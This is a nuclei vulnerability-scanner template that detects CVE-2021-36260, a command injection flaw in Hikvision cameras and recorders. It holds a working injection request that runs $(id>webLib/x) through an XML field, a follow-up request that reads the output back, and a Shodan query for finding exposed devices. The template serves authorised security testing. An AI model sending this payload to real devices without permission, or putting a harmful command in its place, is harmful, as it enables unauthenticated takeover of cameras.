nuclei-templates/cves/2021/CVE-2021-36260.yaml

49 lines
1.6 KiB
YAML

id: CVE-2021-36260
info:
name: Hikvision IP camera/NVR - Remote Command Execution
author: pdteam,gy741
severity: critical
description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
reference:
- https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
- https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
- https://nvd.nist.gov/vuln/detail/CVE-2021-36260
- https://github.com/Aiminsun/CVE-2021-36260
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36260
cwe-id: CWE-77,CWE-20
metadata:
shodan-query: http.favicon.hash:999357577
tags: cve,cve2021,hikvision,rce,iot,intrusive
requests:
- raw:
- |
PUT /SDK/webLanguage HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?><language>$(id>webLib/x)</language>
- |
GET /x HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "contains(body_2,'uid=') && contains(body_2,'gid=')"
- "status_code_1 == 500 && status_code_2 == 200"
condition: and
extractors:
- type: regex
regex:
- "(u|g)id=.*"
# Enhanced by mp on 2022/05/02